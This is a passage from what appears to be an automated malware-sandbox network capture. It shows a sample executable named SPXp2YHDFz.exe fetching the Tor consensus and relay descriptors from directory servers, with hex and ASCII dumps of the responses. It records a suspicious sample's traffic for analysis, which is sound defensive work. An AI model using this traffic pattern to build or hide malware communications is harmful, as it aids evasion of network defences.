2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 79 39 35 4e 6a 53 48 6e 73 65 32 7a 41 38 48 33 74 30 64 64 66 50 68 65 4a 71 7a 69 2f 75 76 51 42 47 39 6a 77 74 58 66 36 47 55 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 35 3a 66 34 38 30 3a 32 38 30 30 3a 31 33 31 64 3a 35 34 30 30 3a 34 66 66 3a 66 65 32 61 3a 64 34 62 61 5d 3a 34 34 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 33 20 31 39 3a 35 30 3a 32 39 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 33 43 41 20 30 36 35 46 20 36 32 39 45 20 39 32 46 45 20 43 39 41 38 20 32 37 38 38 20 46 33 33 32 20 32 33 32 36 20 32 35 41 35 20 32 42 38 45 0a 75 70 74 69 6d 65 20 33 32 34 30 32 36 0a 62 61 6e 64 77 69 64 74 68 20 32 34 35 37 36 30 30 20 34 39 31 35 32 30 30 20 32 35 39 32 38 37 37 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 44 43 38 46 38 44 36 32 43 38 33 45 31 45 32 37 39 44 45 37 38 44 34 35 42 37 44 38 32 33 44 42 43 43 45 30 45 31 31 30 20 46 34 62 49 50 6d 79 68 6c 63 34 5a 74 38 36 39 67 53 52 63 62 6a 47 56 4f 63 62 52 74 34 36 6a 61 51 58 41 52 4f 4f 63 54 72 73 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4a 73 79 6c 39 33 2b 43 4a 46 38 6b 38 36 77 58 73 6a 48 55 74 47 53 6e 79 56 38 5a 4c 61 76 5a 77 32 44 4b 75 2b 66 42 6e 39 2b 4a 73 63 70 53 78 61 6a 50 46 36 42 0a 39 6b 53 4d 47 66 56 62 66 34 62 36 77 75 41 50 76 49 74 54 42 32 67 4f 6f 45 4f 63 2f 65 78 4a 53 4c 51 6a 58 52 70 72 35 6a 65 42 53 6b 6f 48 55 5a 62 72 58 4d 4e 50 32 35 65 6c 64 4e 6a 34 0a 45 47 46 33 4c 70 75 49 52 4c 79 67 73 6d 6f 51 2f 2b 66 47 55 47 56 71 6c 55 57 39 54 4a 38 36 62 79 6f 37 52 49 7a 67 73 75 50 70 44 7a 48 4d 79 2f 64 5a 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 Data Ascii: router platinum 208.85.20.168 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxHwAfJvRx6Q0zoObkwYdcs042E8MIP/+w73Byx+qgDBL4/MAQAgBADL3k2NIeex7bMDwfe3R118+F4mrOL+69AEb2PC1d/oZVkPFVan2j0buCefKudXYWNzx/fF0assusE1jjTw25LB2ki+0z1/YdQ1qOQ25nr6PQc2apFq7yAruUfz6BAAMw0=-----END ED25519 CERT-----master-key-ed25519 y95NjSHnse2zA8H3t0ddfPheJqzi/uvQBG9jwtXf6GUor-address [2a05:f480:2800:131d:5400:4ff:fe2a:d4ba]:443platform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-23 19:50:29fingerprint 43CA 065F 629E 92FE C9A8 2788 F332 2326 25A5 2B8Euptime 324026bandwidth 2457600 4915200 2592877extra-info-digest DC8F8D62C83E1E279DE78D45B7D823DBCCE0E110 F4bIPmyhlc4Zt869gSRcbjGVOcbRt46jaQXAROOcTrsonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAJsyl93+CJF8k86wXsjHUtGSnyV8ZLavZw2DKu+fBn9+JscpSxajPF6B9kSMGfVbf4b6wuAPvItTB2gOoEOc/exJSLQjXRpr5jeBSkoHUZbrXMNP25eldNj4EGF3LpuIRLygsmoQ/+fGUGVqlUW9TJ86byo7RIzgsuPpDzHMy/dZAgMBAAE=-----END RSA PUBLIC KEY-----signing-ke
Oct 24, 2022 11:09:55.473767996 CEST	7717	IN	Data Raw: 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 47 2f 79 54 4d 52 2f 30 34 64 64 6e 6b 4a 71 42 2b 75 72 76 49 79 6f 4e 54 32 6e 4a 48 47 58 50 56 79 50 4d 72 37 31 Data Ascii: y-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMG/yTMR/04ddnkJqB+urvIyoNT2nJHGXPVyPMr71B6dHvdg2URk6EpJGEsAQwOwoMKeog570yyGV1V1rNJThBoMDuqZpmcfdgFsDuFrVQ+D8M1PeXorGO2AYa+h3RXnWniNBiFX+keuHUFDIT4hYeFfKmw4Qo5Esexrv7sqdVRnAgMBAAE=-----END RSA PUBLIC
Oct 24, 2022 11:09:55.473792076 CEST	7718	IN	Data Raw: 43 45 52 54 2d 2d 2d 2d 2d 0a 68 69 64 64 65 6e 2d 73 65 72 76 69 63 65 2d 64 69 72 0a 6e 74 6f 72 2d 6f 6e 69 6f 6e 2d 6b 65 79 20 57 6b 45 67 4b 46 41 43 38 36 4b 73 6c 79 59 44 7a 6b 43 67 33 34 73 48 68 67 7a 57 38 44 58 7a 57 50 62 71 42 6f Data Ascii: CERT-----hidden-service-dirntor-onion-key WkEgKFAC86KslyYDzkCg34sHhgzW8DXzWPbqBowwXHgreject :tunnelled-dir-serverrouter-sig-ed25519 y/ZdlZfvb7ddlxz+eo/FqXfEQakmRG0TBQ1mbOrPTW/2zWLJLKO6ChFmxHwgiAmlsxU/1NzuDAKdLXlm84yVAArouter-signature

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49727	176.9.75.110	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:11:36.235999107 CEST	7749	OUT	GET /tor/server/fp/47be3c80b6c831211527d18d1d84e2750f412edd HTTP/1.0 Host: 176.9.75.110 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:11:36.259588003 CEST	7749	IN	HTTP/1.0 503 Directory busy, try again later Date: Mon, 24 Oct 2022 09:11:36 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49701	193.23.244.244	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:03.559454918 CEST	5117	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 193.23.244.244 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:03.587487936 CEST	5118	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:03 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Mon, 24 Oct 2022 10:00:00 GMT Vary: X-Or-Diff-From-Consensus Data Raw: 6e 65 74 77 6f 72 6b 2d 73 74 61 74 75 73 2d 76 65 72 73 69 6f 6e 20 33 0a 76 6f 74 65 2d 73 74 61 74 75 73 20 63 6f 6e 73 65 6e 73 75 73 0a 63 6f 6e 73 65 6e 73 75 73 2d 6d 65 74 68 6f 64 20 33 32 0a 76 61 6c 69 64 2d 61 66 74 65 72 20 32 30 32 32 2d 31 30 2d 32 34 20 30 39 3a 30 30 3a 30 30 0a 66 72 65 73 68 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 30 2d 32 34 20 31 30 3a 30 30 3a 30 30 0a 76 61 6c 69 64 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 30 2d 32 34 20 31 32 3a 30 30 3a 30 30 0a 76 6f 74 69 6e 67 2d 64 65 6c 61 79 20 33 30 30 20 33 30 30 0a 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 35 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 35 2e 33 2d 72 63 2c 30 2e 34 2e 35 2e 34 2d 72 63 2c 30 2e 34 2e 35 2e 35 2d 72 63 2c 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 37 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 33 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 34 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 35 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 36 2d 72 63 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 0a 73 65 72 76 65 72 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 35 2d 72 63 2c 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 37 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 33 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 34 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 35 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 36 2d 72 63 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 0a 6b 6e 6f 77 6e 2d 66 6c 61 67 73 20 41 75 74 68 6f 72 69 74 79 20 42 61 64 45 78 69 74 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 4e 6f 45 64 43 6f 6e 73 65 6e 73 75 73 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 53 74 61 6c 65 44 65 73 63 20 53 79 62 69 6c 20 56 32 44 69 72 20 56 61 6c 69 64 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 4c 69 6e 6b 3d 34 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f Data Ascii: network-status-version 3vote-status consensusconsensus-method 32valid-after 2022-10-24 09:00:00fresh-until 2022-10-24 10:00:00valid-until 2022-10-24 12:00:00voting-delay 300 300client-versions 0.4.5.1-alpha,0.4.5.2-alpha,0.4.5.3-rc,0.4.5.4-rc,0.4.5.5-rc,0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.7.1-alpha,0.4.7.2-alpha,0.4.7.3-alpha,0.4.7.4-alpha,0.4.7.5-alpha,0.4.7.6-rc,0.4.7.7,0.4.7.8,0.4.7.10server-versions 0.4.5.5-rc,0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.7.1-alpha,0.4.7.2-alpha,0.4.7.3-alpha,0.4.7.4-alpha,0.4.7.5-alpha,0.4.7.6-rc,0.4.7.7,0.4.7.8,0.4.7.10known-flags Authority BadExit Exit Fast Guard HSDir NoEdConsensus Running Stable StaleDesc Sybil V2Dir Validrecommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2required-relay-protocols Co
Oct 24, 2022 11:09:03.587614059 CEST	5119	IN	Data Raw: 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 Data Ascii: ns=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCreationEnabled=1 DoSCircuitCreationMinConnections=2 DoSCircuitCreationRate
Oct 24, 2022 11:09:03.587642908 CEST	5120	IN	Data Raw: 74 6f 72 5f 70 65 72 69 6f 64 5f 73 65 63 73 3d 31 30 38 30 30 20 6f 76 65 72 6c 6f 61 64 5f 6f 6e 69 6f 6e 73 6b 69 6e 5f 6e 74 6f 72 5f 73 63 61 6c 65 5f 70 65 72 63 65 6e 74 3d 35 30 30 20 73 65 6e 64 6d 65 5f 65 6d 69 74 5f 6d 69 6e 5f 76 65 Data Ascii: tor_period_secs=10800 overload_onionskin_ntor_scale_percent=500 sendme_emit_min_version=1shared-rand-previous-value 9 CEgH9nGSPGGldWgpTiNB8ktMi7U85TgcE1fpst2jcUc=shared-rand-current-value 9 dn+4b/OLLk84s5H2hUfLnWF+L04m8/PsRA5+jVuyLx8=dir-so
Oct 24, 2022 11:09:03.587682962 CEST	5121	IN	Data Raw: 31 38 33 30 39 44 45 44 34 43 44 36 44 35 37 43 31 38 46 44 42 39 37 45 46 41 39 36 44 33 33 30 35 36 36 20 31 32 38 2e 33 31 2e 30 2e 32 34 20 31 32 38 2e 33 31 2e 30 2e 32 34 20 39 31 33 31 20 39 31 30 31 0a 63 6f 6e 74 61 63 74 20 31 30 32 34 Data Ascii: 18309DED4CD6D57C18FDB97EFA96D330566 128.31.0.24 128.31.0.24 9131 9101contact 1024D/EB5A896A28988BF5 arma mit eduvote-digest 86932C67F285958234AF644859B62C071E5CF59Bdir-source dizum E8A9C45EDE6D711294FADF8E7951F4DE6CA56B58 45.66.33.45 45.66.
Oct 24, 2022 11:09:03.587702990 CEST	5123	IN	Data Raw: 30 30 3a 31 31 3a 31 31 20 31 33 37 2e 31 38 34 2e 31 33 2e 31 32 30 20 34 34 33 20 30 0a 61 20 5b 32 36 30 34 3a 61 38 38 30 3a 34 3a 31 64 30 3a 3a 32 37 64 3a 66 30 30 30 5d 3a 34 34 33 0a 73 20 46 61 73 74 20 52 75 6e 6e 69 6e 67 20 56 32 44 Data Ascii: 00:11:11 137.184.13.120 443 0a [2604:a880:4:1d0::27d:f000]:443s Fast Running V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Ban
Oct 24, 2022 11:09:03.587739944 CEST	5124	IN	Data Raw: 2d 36 35 35 33 35 0a 72 20 53 74 61 72 41 70 70 73 4d 6f 62 6c 65 79 20 41 43 67 37 56 57 54 6a 42 79 33 4e 32 72 4d 64 62 76 59 69 33 55 6d 2f 55 6b 38 20 49 2f 6b 44 6c 44 7a 69 63 33 4c 6b 4b 52 61 68 58 54 70 4a 7a 6e 51 77 79 4d 6f 20 32 30 Data Ascii: -65535r StarAppsMobley ACg7VWTjBy3N2rMdbvYi3Um/Uk8 I/kDlDzic3LkKRahXTpJznQwyMo 2022-10-24 05:47:25 195.15.242.99 9001 0a [2001:1600:10:100::201]:9001s Fast Guard Running Stable V2Dir Validv Tor 0.4.7.7pr Cons=1-2 Desc=1-2 DirCache=2 FlowC
Oct 24, 2022 11:09:03.587759972 CEST	5125	IN	Data Raw: 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 Data Ascii: l=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=9300p reject 1-65535r namie AFyL+BoOH3CNtCpXPISvAlpAb88 r9QzCKrNF8lYwbnDnIO0cpavY3k 2022-10-24 02:47:30 109.241.109.93 443 0s Fast Runn
Oct 24, 2022 11:09:03.587778091 CEST	5127	IN	Data Raw: 74 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 32 44 69 72 20 56 61 6c 69 64 0a 76 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 0a 70 72 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 Data Ascii: t Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=23000p reject 1-65535r Quintex13 AHe8unJE2z5qXtJ0boYX
Oct 24, 2022 11:09:03.587796926 CEST	5128	IN	Data Raw: 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 31 34 0a 70 20 72 65 6a 65 63 74 20 31 2d 36 35 35 33 35 0a 72 20 42 6c 61 63 6b 42 65 6c 75 67 61 20 41 4a 59 74 4c 64 43 35 76 7a 70 71 38 64 58 72 49 42 45 79 4f 49 72 4b 46 43 Data Ascii: Relay=1-4w Bandwidth=14p reject 1-65535r BlackBeluga AJYtLdC5vzpq8dXrIBEyOIrKFCQ Jc3bHf5g0eXR4rkpWM4IWaEcHt0 2022-10-23 21:50:34 5.189.155.39 9001 0s Fast HSDir Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 Flow
Oct 24, 2022 11:09:03.587815046 CEST	5129	IN	Data Raw: 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 34 35 30 30 30 0a 70 20 72 65 6a 65 63 74 20 31 Data Ascii: nk=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=45000p reject 1-65535r roterechtehand ALwRxEi3DILGEA9bE2LflQpgnwo WpwF6wWcjaeO/w2LTH4vIwDpSWs 2022-10-23 20:25:31 213.144.130.195 4569 0s Fast Running V2Dir Validv Tor 0.4.5
Oct 24, 2022 11:09:03.587840080 CEST	5131	IN	Data Raw: 32 33 2c 35 32 32 38 2c 35 39 30 30 2c 36 36 36 30 2d 36 36 36 39 2c 36 36 37 39 2c 36 36 39 37 2c 38 30 30 30 2c 38 30 30 38 2c 38 30 37 34 2c 38 30 38 30 2c 38 30 38 32 2c 38 30 38 37 2d 38 30 38 38 2c 38 33 33 32 2d 38 33 33 33 2c 38 34 34 33 Data Ascii: 23,5228,5900,6660-6669,6679,6697,8000,8008,8074,8080,8082,8087-8088,8332-8333,8443,8888,9418,9999-10000,11371,19294,19638,50002,64738r tried ANLOPCFT6gl4byEF8msTjPdZQk8 3grdaAsHQt8ueF90Mu22lricuaw 2022-10-23 20:28:29 107.155.81.178 443 0s Fa

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49728	199.249.230.184	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:11:36.436758041 CEST	7749	OUT	GET /tor/server/fp/47be3c80b6c831211527d18d1d84e2750f412edd HTTP/1.0 Host: 199.249.230.184 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:11:36.826253891 CEST	7751	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:11:36 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:11:36 GMT Data Raw: 72 6f 75 74 65 72 20 55 6e 6e 61 6d 65 64 20 31 30 38 2e 32 34 30 2e 31 38 32 2e 31 34 30 20 39 39 39 30 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 47 50 41 58 31 7a 71 62 5a 74 5a 6a 65 44 44 2b 36 68 61 41 51 43 6f 4f 78 33 6f 47 53 6b 34 42 70 2f 6c 61 58 59 36 6b 43 77 32 68 43 64 41 51 41 67 42 41 44 5a 79 59 36 63 0a 72 70 79 34 38 4a 76 41 42 6c 68 56 6b 6f 63 4f 49 74 66 4a 63 62 35 4d 4b 4a 6d 70 64 6a 65 52 54 48 62 49 71 36 6d 61 6b 43 33 4a 54 73 73 4d 74 4f 48 5a 71 65 34 78 31 44 72 55 77 49 42 55 0a 44 7a 64 43 4d 75 35 30 53 50 46 51 32 47 4e 2f 36 78 4d 36 59 41 78 4d 43 2f 6f 39 57 2b 42 79 7a 5a 4e 45 59 34 34 37 33 57 54 6f 57 74 47 51 61 4c 2b 2f 72 41 4c 71 52 41 41 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 32 63 6d 4f 6e 4b 36 63 75 50 43 62 77 41 5a 59 56 5a 4b 48 44 69 4c 58 79 58 47 2b 54 43 69 5a 71 58 59 33 6b 55 78 32 79 4b 73 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 38 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 34 20 30 35 3a 33 33 3a 32 36 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 37 42 45 20 33 43 38 30 20 42 36 43 38 20 33 31 32 31 20 31 35 32 37 20 44 31 38 44 20 31 44 38 34 20 45 32 37 35 20 30 46 34 31 20 32 45 44 44 0a 75 70 74 69 6d 65 20 31 39 35 36 31 31 0a 62 61 6e 64 77 69 64 74 68 20 37 36 38 30 30 20 37 36 38 30 30 20 33 31 30 35 39 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 32 34 37 41 45 38 34 39 44 39 32 44 42 30 46 43 31 37 30 34 36 46 42 35 31 43 30 44 45 39 38 41 46 31 36 37 32 31 38 39 20 71 6a 51 63 4e 64 2f 36 48 55 6a 47 66 65 41 77 78 38 75 42 74 34 31 67 69 58 6a 35 47 6b 72 30 73 35 2f 31 6a 51 79 44 51 35 63 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 35 7a 6b 72 5a 4b 66 4c 41 65 5a 62 67 36 36 71 71 4d 34 69 4b 6a 78 50 4c 54 4d 69 57 74 66 50 68 6f 36 5a 68 36 2f 42 35 76 30 6a 34 2b 65 78 6e 79 72 77 76 70 0a 56 63 58 4e 50 30 61 61 64 31 73 38 74 4a 4f 4b 7a 33 65 6e 49 58 54 54 48 44 4d 4d 55 41 4c 75 61 66 76 4e 71 59 37 67 31 6c 68 76 61 41 4e 67 53 77 76 6d 43 63 6d 79 77 4a 77 57 68 57 58 6f 0a 54 4d 61 34 62 4c 58 4b 4d 7a 54 58 43 72 6f 76 4b 35 7a 79 2f 2b 54 5a 4e 75 30 4a 2b 6e 4b 4a 71 2f 41 4e 57 6e 61 76 32 71 67 55 76 71 38 4e 43 4c 64 64 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4f 35 71 50 32 34 6a 58 6c 76 38 74 75 63 35 4d 6e 66 Data Ascii: router Unnamed 108.240.182.140 9990 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxGPAX1zqbZtZjeDD+6haAQCoOx3oGSk4Bp/laXY6kCw2hCdAQAgBADZyY6crpy48JvABlhVkocOItfJcb5MKJmpdjeRTHbIq6makC3JTssMtOHZqe4x1DrUwIBUDzdCMu50SPFQ2GN/6xM6YAxMC/o9W+ByzZNEY4473WToWtGQaL+/rALqRAA=-----END ED25519 CERT-----master-key-ed25519 2cmOnK6cuPCbwAZYVZKHDiLXyXG+TCiZqXY3kUx2yKsplatform Tor 0.4.7.8 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-24 05:33:26fingerprint 47BE 3C80 B6C8 3121 1527 D18D 1D84 E275 0F41 2EDDuptime 195611bandwidth 76800 76800 310590extra-info-digest 247AE849D92DB0FC17046FB51C0DE98AF1672189 qjQcNd/6HUjGfeAwx8uBt41giXj5Gkr0s5/1jQyDQ5conion-key-----BEGIN RSA PUBLIC 